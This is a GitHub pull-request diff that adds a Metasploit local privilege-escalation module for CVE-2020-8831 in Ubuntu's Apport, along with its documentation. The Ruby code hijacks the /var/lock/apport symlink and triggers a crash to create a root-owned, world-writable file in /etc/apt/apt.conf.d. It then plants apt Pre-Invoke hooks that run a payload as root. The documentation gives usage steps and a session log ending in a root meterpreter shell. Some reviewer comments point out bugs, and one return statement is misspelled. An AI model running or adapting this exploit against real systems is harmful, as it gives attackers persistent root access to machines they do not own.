Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
50 commits
Select commit Hold shift + click to select a range
edc187a
Init
gardnerapp Dec 21, 2024
6854dc0
Correct CVE numbering
gardnerapp Dec 21, 2024
f8f0ac5
finish prototyping the check method
gardnerapp Dec 24, 2024
9ffec60
Begin exploit
gardnerapp Dec 24, 2024
6112b1e
Add targets and write exploit files
gardnerapp Dec 24, 2024
a1dfc8a
Add opts, update description, break up exploit method
gardnerapp Jan 20, 2025
4838131
Finish check method
gardnerapp Feb 12, 2025
417c1bb
Add statuses to hijack apport method
gardnerapp Feb 12, 2025
18a94bb
Add instance vars, cleanup file writes
gardnerapp Feb 22, 2025
8cef31f
Add Payload::EXE module, fix var names
gardnerapp Feb 28, 2025
68de77e
Add /etc/ to cron dir
gardnerapp Apr 13, 2025
689bfdb
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Apr 20, 2025
6055625
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Apr 20, 2025
68683c3
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Apr 20, 2025
3868607
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Apr 20, 2025
1bd3a4a
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Apr 20, 2025
6d52e90
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Apr 20, 2025
ec93425
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Apr 20, 2025
2417f58
Add advanced options
gardnerapp Apr 20, 2025
631bdf6
Resolve conflicts
gardnerapp Apr 20, 2025
31bfb04
Check existence of /var/lock/apport
gardnerapp Apr 20, 2025
cc7c14e
Add comments
gardnerapp Sep 26, 2025
43cdca1
Convert from crontab to apt-get hook
gardnerapp Oct 10, 2025
8735ab6
port to apt conf
gardnerapp Oct 14, 2025
fce7505
use append file, add final message, method spelling errs
gardnerapp Oct 14, 2025
0090f14
rubocop and minor changes
gardnerapp Oct 17, 2025
eac2163
Update review and rubocop
gardnerapp Nov 20, 2025
c70e2f6
Delete modules/exploits/multi/http/cve_2025_0868_doc_gpt_rce.rb
gardnerapp Nov 20, 2025
a28e505
remove docgpt draft
gardnerapp Nov 20, 2025
0d510d6
Merge branch 'cve-2020-8831' of https://github.com/gardnerapp/metaspl…
gardnerapp Nov 26, 2025
65b6e70
Add REMOVE_LOCK_FILE advanced option
gardnerapp Nov 26, 2025
7837784
rubocop, add documentation and added notes
gardnerapp Nov 30, 2025
2d3130c
Tidy
gardnerapp Dec 20, 2025
90c4e74
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Feb 16, 2026
5163148
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Feb 16, 2026
d041181
Add debug statements
gardnerapp Feb 16, 2026
8039309
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Mar 13, 2026
658ae39
fix debug
gardnerapp Mar 31, 2026
428a69f
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Apr 20, 2026
71ab951
Update documentation/modules/exploit/linux/local/cve_2020_8831_apport…
gardnerapp Apr 20, 2026
dfebd0a
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Apr 20, 2026
6cec633
Update documentation/modules/exploit/linux/local/cve_2020_8831_apport…
gardnerapp Apr 20, 2026
7436864
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Apr 20, 2026
6f1097b
Update documentation/modules/exploit/linux/local/cve_2020_8831_apport…
gardnerapp Apr 20, 2026
1401b98
Add setsid, write cmd payload directly to hook
gardnerapp May 12, 2026
e4c7ce9
merge remote
gardnerapp May 12, 2026
6a6368a
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Jun 22, 2026
8b44923
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Jun 22, 2026
ce29f87
Update modules/exploits/linux/local/cve_2020_8831_apport_symlink_priv…
gardnerapp Jun 27, 2026
7b11250
Rubocop changes, refactor check method, change reliability notes
gardnerapp Jul 6, 2026
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,101 @@
## Description

Apport is a utility for writing crash reports, and in versions <= 2.20.11 there
is a vulnerable `check_lock` function which suffers from the 'confused deputy
problem' and will inadvertently follow symbolic links from `/var/lock/apport/`
when writing lock files. Essentially, this vulnerability allows an attacker to
arbitrarily create root-owned, world-readable, writable, and executable files by
creating a symbolic link to `/var/lock/apport/` and then triggering a crash that
will be logged by apport.

To achieve privilege escalation, this module first creates a symlink from `/var/lock/
apport/` to `/etc/apt/apt.conf.d/`. It then triggers a crash, causing a
root-owned, world-readable, writable, and executable file, `/etc/apt/apt.conf.d/lock`,
to be written. Next, the module writes a payload, which by default is written to
`/home/ubuntu/`.

An apt hook is a way of prepending commands to apt package operations. Using the
`/etc/apt/apt.conf.d/lock` file, we write our own apt hooks. This module will
trigger the payload on the following apt commands: `apt-get upgrade`,
`apt-get update`, and `apt-get install`. Once one of these commands is run, a new
root session will be spawned.

## Vulnerable Application

Apport versions <= 2.20.11 are vulnerable to symlink hijacking due to a vulnerable
`check_lock` function which will inadvertently follow symbolic links from `/var/lock/
apport/`. This package can be installed with `sudo dpkg -i apport_2.20.11-0ubuntu21_all.deb`.

## Verification Steps

1. Start `msfconsole`
2. Get a session
3. Do: `use exploit/linux/local/cve_2020_8831_apport_symlink_privesc`
4. Do: `set SESSION [SESSION]`
5. Do: `check`
6. Do: `run`
7. You should get a new root session

## Options

### SESSION

Which session to use, which can be viewed with `sessions`

### PAYLOAD_FILENAME

Name of the payload file which will be executed by the apt hook. Is random by
default.

### HOOKPATH

Path to the apt configuration directory, default is `/etc/apt/apt.conf.d/`

### WRITABLE_DIR

A directory we can write to, this is where the payload file will be written to.
Default is `/home/ubuntu`.

## Advanced Options

### REMOVE_LOCK_DIR

When set to true the `/var/lock/apport/` directory will be removed if it already
exists.

## Scenarios

```
msf6 exploit(linux/local/cve_2020_8831_apport_symlink_privesc) > use exploit/multi/handler
[*] Using configured payload linux/x86/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set rhost 18.212.162.161
rhost => 18.212.162.161
msf6 exploit(multi/handler) >
rmsf6 exploit(multi/handler) > run

Comment thread
gardnerapp marked this conversation as resolved.
[*] Started bind TCP handler against 18.212.162.161:5555
^C[-] Exploit failed [user-interrupt]: Interrupt
[-] run: Interrupted
msf6 exploit(multi/handler) > set lport 7777
lport => 7777
runmsf6 exploit(multi/handler) > run

[*] Started bind TCP handler against 18.212.162.161:7777
Comment on lines +80 to +83

Copilot AI Apr 16, 2026

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The scenario transcript has another prompt typo (runmsf6), which can be misleading for users. Please clean up these prompt strings so they are consistent.

Copilot uses AI. Check for mistakes.
[*] Sending stage (1017704 bytes) to 18.212.162.161
[-] Meterpreter session 4 is not valid and will be closed
[*] 18.212.162.161 - Meterpreter session 4 closed.
^C[-] Exploit failed [user-interrupt]: Interrupt
[-] run: Interrupted
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
payload => linux/x64/meterpreter/bind_tcp
rmsf6 exploit(multi/handler) > run

[*] Started bind TCP handler against 18.212.162.161:7777
[*] Sending stage (3045380 bytes) to 18.212.162.161
[*] Meterpreter session 5 opened (192.168.0.239:57606 -> 18.212.162.161:7777) at 2025-10-14 15:49:00 -0400
meterpreter > shell
Process 5791 created.
Channel 1 created.
whoami
root
```
196 changes: 196 additions & 0 deletions modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,196 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Post::File
include Msf::Exploit::EXE

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apport Symlink Hijacking Privilege Escalation',
'Description' => %q{
On some Ubuntu releases such as Xenial Xerus 16.04.7 the Apport versions <= 2.20.11 are vulnerable
to symlink hijacking. Following a crash Apport will write reports to /var/lock/apport/lock,
an attacker who can create a symlink to a privileged directory via /var/lock/apport will be
able to create files with global 0777 permissions. This module exploits this weakness by creating a
symbolic link to /etc/apt/apt.conf.d/ to write a hook to apt-get which will trigger a root shell on the target.
},
'License' => MSF_LICENSE,
'Author' => [
'Maximilien Bourgeteau', # Discovery
'gardnerapp', # Team Wild Star
'bwatters-r7' # code review & testing
],
'References' => [
[
['URL', 'https://nostarch.com/zero-day'], # pg. 59
['URL', 'https://ubuntu.com/security/CVE-2020-8831'],
['URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1862348'],
['CVE', '2020-8831'],
]
Comment on lines +34 to +39

Copilot AI Apr 16, 2026

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The References metadata is nested one level too deep (an array containing a single array of references). Metasploit modules expect References to be an array of 2-element entries (e.g. [ 'URL', '...' ]), so this structure can break reference rendering/validation. Flatten the array so each reference is a direct element of References.

Suggested change
[
['URL', 'https://nostarch.com/zero-day'], # pg. 59
['URL', 'https://ubuntu.com/security/CVE-2020-8831'],
['URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1862348'],
['CVE', '2020-8831'],
]
['URL', 'https://nostarch.com/zero-day'], # pg. 59
['URL', 'https://ubuntu.com/security/CVE-2020-8831'],
['URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1862348'],
['CVE', '2020-8831'],

Copilot uses AI. Check for mistakes.
],
'Platform' => ['linux'],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [
[
'Linux_Binary',
{
'Arch' => [ARCH_AARCH64, ARCH_X64]
}
],
[
'Linux_Command',
{
'Arch' => ARCH_CMD
}
]
],
'Privileged' => true,
'DisclosureDate' => '2020-04-02',
'DefaultTarget' => 0,
'Notes' => {
# After the module runs a legitimate user will notice that running `sudo apt-get upgrade` will lag as the payload runs
'Stability' => [CRASH_SAFE, SERVICE_RESOURCE_LOSS],
'Reliability' => [UNRELIABLE_SESSION, FIRST_ATTEMPT_FAIL, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)
register_options([
OptString.new('PAYLOAD_FILENAME', [true, 'Name of payload', Rex::Text.rand_text_alpha(8..12)]),
OptString.new('HOOKPATH', [false, 'APT configuration directory.', '/etc/apt/apt.conf.d/']),
OptString.new('WRITABLE_DIR', [true, 'A directory where we can write files', '/home/ubuntu'])
])

register_advanced_options([
OptBool.new('REMOVE_LOCK_DIR', [false, 'When set to true /var/lock/apport/ will be removed if it exists.', false])
])
end

def check
# If you are testing the module apport needs to be reinstalled on boot every time with
# sudo dpkg -i apport_2.20.11-0ubuntu21_all.deb

# sudo rm -rf /var/lock/apport/ /tmp/payload /etc/apt/apt.conf.d/lock && unlink /var/lock/apport
# The above must be run after each subsequent test!
return CheckCode::Safe('Platform is not Linux') unless session.platform == 'linux'
Comment thread
gardnerapp marked this conversation as resolved.

# Check apport version
if !command_exists?('apport-cli')
return CheckCode::Safe('apport-cli does not appear to be installed or in the $PATH')
end

# Make sure apt is all set.
# poached from modules/exploits/linux/apt_package_manager.rb
return CheckCode::Safe('apt-get not found.') unless command_exists?('apt-get')
return CheckCode::Safe("#{datastore['HOOKPATH']} not found") unless exists?(datastore['HOOKPATH'])

Comment thread
gardnerapp marked this conversation as resolved.
apport = cmd_exec('apport-cli --version').to_s

return CheckCode::Detected('Unable to determine apport version') if apport.blank?

apport_version = Rex::Version.new(apport.split('-').first)

# :ubuntu_release => apport_version
vulnerable_releases = {
'20.04' => '2.20.11', # focal
'18.04' => '2.20.9', # bionic
'16.04' => '2.20.1', # xenial
'14.04' => '2.14.1' # trusty
}

version = get_sysinfo[:version]

vulnerable_releases.each_key do |k|
if version.include? k # if we have a vulnerable version of ubnutu
# get the corresponding version of apport and check for it
vuln_apport = Rex::Version.new(vulnerable_releases[k])
if apport_version <= vuln_apport
vprint_good('Apport appears to be vulnerable')
return CheckCode::Appears
else # we do not have a vulnerable version of apport
retur CheckCode::Safe("Installed Apport version #{apport_version.version} is not vulnerable to CVE-202-8831")
end
else
return CheckCode::Safe("#{version} does not appear to be a vulnerable version of Ubuntu")
end
end
end

# Crash Apport and hijack a symlink
# this will creat a world rwx /etc/apt/apt.conf.d/lock owned by root

Copilot AI Apr 16, 2026

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Typo in comment: "creat" should be "create".

Suggested change
# this will creat a world rwx /etc/apt/apt.conf.d/lock owned by root
# this will create a world rwx /etc/apt/apt.conf.d/lock owned by root

Copilot uses AI. Check for mistakes.
def hijack_apport
print_status('Creating symlink...')

remove_lock = datastore['REMOVE_LOCK_DIR']

if remove_lock
cmd_exec 'rm -rf /var/lock/appport'
elsif exists? '/var/lock/apport'
fail_with(Failure::BadConfig,
'/var/lock/apport already exists and a symbolic link cannot be created. Set the advanced option REMOVE_LOCK_DIR to true and rerun the module to remove this directory.')
end

symlink_result = cmd_exec("ln -s #{datastore['HOOKPATH']} /var/lock/apport 2>&1").to_s
unless exists?('/var/lock/apport')
error_message = "Failed to create symlink /var/lock/apport -> #{datastore['HOOKPATH']}"
error_message = "#{error_message}: #{symlink_result.strip}" unless symlink_result.strip.empty?
fail_with(Failure::Unknown, error_message)
end
vprint_status "DEBUG: ln -s #{datastore['HOOKPATH']} /var/lock/apport"
vprint_status "DEBUG BEFORE CRASH: ls -la #{datastore['HOOKPATH']} #{cmd_exec 'ls -la /etc/apt/apt.conf.d'}"

# Create crash and trigger apport
print_status('Triggering crash...')
cmd_exec 'sleep 10s & kill -11 $!'

vprint_status "DEBUG AFTER CRASH: ls -la #{datastore['HOOKPATH']} #{cmd_exec 'ls -la /etc/apt/apt.conf.d'}"

@hook_file = "#{datastore['HOOKPATH']}lock"

if exist?(@hook_file)
print_good("Successfully created #{@hook_file}")
else
fail_with(Failure::NotFound, "exploit was unable to create #{@hook_file}")
end
end

def write_payload_and_hooks
# create the payload
if target.arch.first == ARCH_CMD
write_hooks(payload.encoded)
else
payload_dir = datastore['WRITABLE_DIR']
payload_dir += '/' unless payload_dir.ends_with? '/'
payload_file = datastore['PAYLOAD_FILENAME']

@payload_dest = "#{payload_dir}#{payload_file}"

upload_and_chmodx @payload_dest, generate_payload_exe
write_hooks(@payload_dest)
end
end

# Maximize the number of apt commands our payload will run from
def write_hooks(payload)
hooks = %w[Update Upgrade Install].map { |cmd| %(APT::#{cmd}::Pre-Invoke {"setsid #{payload} 2>/dev/null &"};\n) }
hooks.each { |hook| append_file @hook_file, hook }
print_good 'The next time apt-get is used to update, upgrade or install your payload will be triggered. Cheers ;)'
end

def exploit
Comment thread
gardnerapp marked this conversation as resolved.
fail_with(Failure::BadConfig, "#{datastore['WRITABLE_DIR']} is not writable") unless writable?(datastore['WRITABLE_DIR'])
hijack_apport

write_payload_and_hooks
end
end
Loading